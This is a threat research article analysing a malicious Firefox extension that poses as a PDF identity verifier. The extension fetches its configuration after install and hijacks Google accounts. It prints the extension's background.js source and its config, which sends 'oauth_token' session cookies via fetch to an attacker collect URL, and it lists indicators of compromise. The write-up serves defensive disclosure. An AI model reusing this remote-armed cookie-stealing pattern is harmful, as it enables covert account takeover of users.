Malicious Firefox Extension Poses as PDF Identity Verifier to Hijack Google Accounts
Firefox extension hijacks Google accounts by stealing session cookies and passwords.
Summary
A malicious Firefox extension, 'pdf-para-texto@extensao.local', has been identified that poses as a PDF identity verifier. It evades initial detection by shipping with no hardcoded malicious code, instead fetching its payload after installation. The extension targets Portuguese- and Spanish-speaking users, aiming to automate Google account takeovers by stealing session cookies and capturing password reset values.
Full text
BackResearchSecurity NewsMalicious Firefox Extension Poses as PDF Identity Verifier to Hijack Google AccountsA malicious Firefox extension fetches its payload after installation to evade detection, steal Google session cookies, and automate account takeover.Karlo ZankiSep 23, 2026|7 min readExport IOCs4Socket identified a Firefox extension that ships with no hardcoded malicious code and fetches a remote payload after installation to silently automate Google account takeover, targeting Portuguese- and Spanish-speaking users since September 11, 2026.Socket's Threat Research team identified a malicious Firefox extension posing as a utility for identity verification before opening protected PDF documents. The extension, pdf-para-texto@extensao.local, was published to the Firefox Add-ons store on September 3, 2026, and its malicious functionality was first introduced in version 1.4 on September 11, 2026.The extension does not have a significant user base, and the expected impact is fairly low. It drew researchers' attention because of how it is designed to avoid detection at every stage of its operation: the code shipped to the add-on store contains no hardcoded malicious logic, no target URLs, and no exfiltration endpoint. Instead, the extension fetches its malicious configuration and payload from attacker infrastructure only after installation, then uses it to inject an automated account-takeover script directly into real accounts.google.com pages the victim visits — ultimately capturing both the victim's Google session cookie and, when Google prompts for one, a password reset value the attacker controls.A Clean-Looking Extension#The extension's static files — manifest.json, content.js, and background.js — contain no hardcoded malicious behavior. There is no target URL, no exfiltration endpoint, and no credential-stealing logic anywhere in the shipped code. background.js is a generic interpreter:JavaScriptconfig = await browser.storage.local.get(); // empty at install time const _call = (path, ...args) => path.split('.').reduce(...)(...args); // resolves & invokes ANY global by dotted stringThe malicious behavior — which network requests to watch, which headers to read, which function to call, which code to inject — is data, not code. That data doesn't exist until something writes it into browser.storage.local after install. A store reviewer or static scanner sees only a content-free dispatcher; there is nothing to flag until the extension is armed at runtime.Static analysis surfaces a few unusual but individually inconclusive details:content_scripts match ://*.google.com/* and ://*.gusercontent.com/* at document_start — broad, but not inherently malicious for a "PDF identity verification" tool.Permissions request webRequest, storage, and https://*.google.com/* — plausible for a document-integrated utility.content.js patches the PublicKeyCredential interface of the Web Authentication API (WebAuthn) so capability checks always report a platform authenticator/passkey as available — unusual, but not conclusive on its own.None of these observations proves malicious intent in isolation. The extension only becomes dangerous once it is armed.Initial Access and Infection Chain#The loading of the malicious functionality is triggered from the extension's install event handler. When browser.runtime.onInstalled fires, the extension opens an active tab to hxxps://pdf[.]gusercontent[.]com/oninstalled after a five-second delay. gusercontent[.]com is a lookalike domain controlled by the attacker, chosen to resemble Google's legitimate googleusercontent.com.content.js is injected into that page as well, since the manifest also matches *.gusercontent.com. It exposes an open message bridge between the page and the extension's privileged background worker:JavaScriptwindow.addEventListener("message", (event) => { if (event.source!== window) return; if (event.data[0] === "ext") browser.runtime.sendMessage(event.data[1]); });The landing page itself contains no obvious malicious functionality, but it loads a script from attacker-controlled infrastructure:HTML, XML<script type="module" crossorigin src="/loginSdk/assets/index-BhOgWOaO.js"></script>That script sends a message that triggers parsing and construction of the malicious logic inside background.js:JavaScriptwindow.postMessage(["ext", [1, "browser.storage.local.set", "browser.runtime.reload", <config object>]], "*")background.js's message handler for m[0] === 1 runs _call(m[1], m[3]), which executes browser.storage.local.set(<attacker-supplied config>) and then calls init() again. This re-reads config and registers a webRequest.onCompleted listener using the newly supplied URL filter, header names, matching rules, and destination URL.Background Worker Before and After Arming#background.js consists of four parts. The first, _call(path, ...args), is a generic dispatcher. Basically, it enables function invocation by passing it the function name and arguments as strings — _call("console.log", "Hello World!").The logic inside the init() function reads config from browser.storage.local and parses the config object to construct its real functionality. It uses the _call generic dispatcher described above to perform function execution.Finally, two event listeners are defined. The first handles message events, enabling the communication bridge between the background worker and the content script. The second is used to trigger the malware activation chain immediately after the extension is installed.As shipped, every action background.js can take is indexed through config, which is empty at install time — init()'s if (config[0]) branch never runs, and no webRequest listener is registered. Nothing observable happens:JavaScriptvar config= {}; const _call = (caminho, ...args) => caminho.split('.').reduce((obj, chave, _, arr) => arr.length- 1 === _? obj[chave].bind(arr.slice(0, -1).reduce((o, k) => o[k], globalThis)) : obj[chave] , globalThis)(...args); const b64 = (str) => btoa(str) .replace(/\+/g, '-') .replace(/\//g, '_') .replace(/=+$/, ''); var bound= false; async function init() { try { config= await browser.storage.local.get(); if (config[0]) { if (bound) return; bound= true; browser.webRequest.onCompleted.addListener( (d) => { if (d[config[0][8]]) { d[config[0][8]].forEach((h) => { if (h[config[0][9]].toLowerCase() === config[0][5]) { if (h[config[0][10]].includes(config[0][11])) { _call( config[0][12], `${config[0][13]}${config[config[0][14]]}${config[0][17]}${b64(config[config[0][15]])}${config[0][16]}${b64(h[config[0][10]])}` ) } } }); } }, { urls: [config[0][4]] }, [config[0][6]] ); } } catch (e) {} } init(); browser.runtime.onMessage.addListener((m, sender, sendResponse) => { if (m[0] === 0) { if (config.hasOwnProperty(m[1])) { const options= {}; options[config[0][1]] = config[m[1]]; _call(config[0][0], sender.tab.id, options); } } if (m[0] === 1) { _call(m[1], m[3]); init(); } }); browser.runtime.onInstalled.addListener((details) => { if (details.reason=== "install") { setTimeout(async () => { const tab= await browser.tabs.create({ url: "https://pdf[.]gusercontent[.]com/oninstalled", //defanged active: true }); }, 5000); } });Once the oninstalled page's script calls postMessage(["ext", [1, "browser.storage.local.set", ..., <config>]]), the following array is written into browser.storage.local:JavaScriptconfig[0] = [ "browser.tabs.executeScript", //[0] "code", //[1] "browser.storage.local.set", //[2] "browser.runtime.reload", //[3] "https://*.google.com/*", //[4] webRequest URL filter "set-cookie", //[5] header name to match "responseHeaders", //[6] webRequest extraInfoSpec "browser.webRequest.onCompleted.addListener", //[7] "responseHeaders", //[8] details.responseHeaders "name", //[9] header.name "value", //[10] header.value "oauth_token", //[11] substring filter on cookie value "fetch", //[12] exfil primitive "https://pdf.gusercontent.com/api/accounts/collect/?leadId=", //[13] exfil url "leadId", //[14] "email", //[15
Indicators of Compromise
- url — hxxps://pdf[.]gusercontent[.]com/oninstalled
- url — https://pdf.gusercontent.com/api/accounts/collect/?leadId=&email=&data=
- url — https://pdf.gusercontent.com/api/extlog
- url — https://pdf.gusercontent.com/reload
- hash_sha256 — f1b8329075b1cbd1ae0a5dc947bd00f94642cb166a86c2455a1d0b10aee9f2b1
- hash_sha256 — 16447c70f8e3c99de95b92846460214a661915c89f5c10965bf18da4c279880a
- hash_sha256 — dc717b5ab9a8eccf6b6187880ba90b004cb00f503ff8bceb8405ccc33d1c6e3e